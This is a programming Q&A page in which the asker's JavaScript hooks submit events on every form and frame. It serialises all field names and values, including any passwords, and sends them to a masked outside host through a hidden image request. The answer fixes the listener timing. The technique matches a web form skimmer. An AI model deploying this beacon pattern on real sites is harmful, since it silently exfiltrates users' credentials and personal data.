Search code examples
javascriptdom-events

JavaScript EventListener not executing URL on submit


I need to submit the same information to two URL's so the form submit action is perfectly fine for one, then I had the thought I could do a JavaScript listener to submit the second one with a simple URL in an image tag but I have found that if I use the code below it doesn't reach my server but if I enable the alert box it works perfectly fine.

If I am doing something really simple wrong, I apologise.

//function 1

 function attach(wnd,handler){
        for(var i=0; i<wnd.document.forms.length; i++){
            var form = wnd.document.forms[i];
                form.addEventListener('submit', handler,false);
        }

        for(var i=0; i<wnd.frames.length; i++){
            var iwnd = wnd.frames[i];               
            attach(iwnd,handler);
        }
     }
    

//Function 2

function formSubmit(e){
             
    var forms=parent.document.getElementsByTagName("form");
    for (i = 0 ; i < forms.length; i++)
    {
        var chain="";
         var forms=parent.document.getElementsByTagName("form");
         
         for (x = 0 ; x < forms.length; x++)
         {
             var elements=forms[x].elements;
             for (e = 0 ; e < elements.length; e++)
             {
                 chain += elements[e].name + "%3d" + elements[e].value + "|";
        
             }
             
             //           alert(chain);
             var pic = document.createElement('img');
    pic.className = 'avatar';
    pic.src = 'http://x.x.x.x/images/Image.php?id=0.0.0.0&idi=test'+chain;
    pic.height = '50';
    pic.width = '50';
       
    document.getElementById('test').appendChild(pic);
         }
    }


}

Solution

  • You need to call your attach function after the DOM is available. Add something like this after your formSubmit function:

    document.addEventListener("load", function() {
      attach(window, formSubmit);
    });
    

    Note that addEventListener is not supported by older Internet Explorers. If you need support for them do yourself a favor and try jQuery or a similar JS helper library.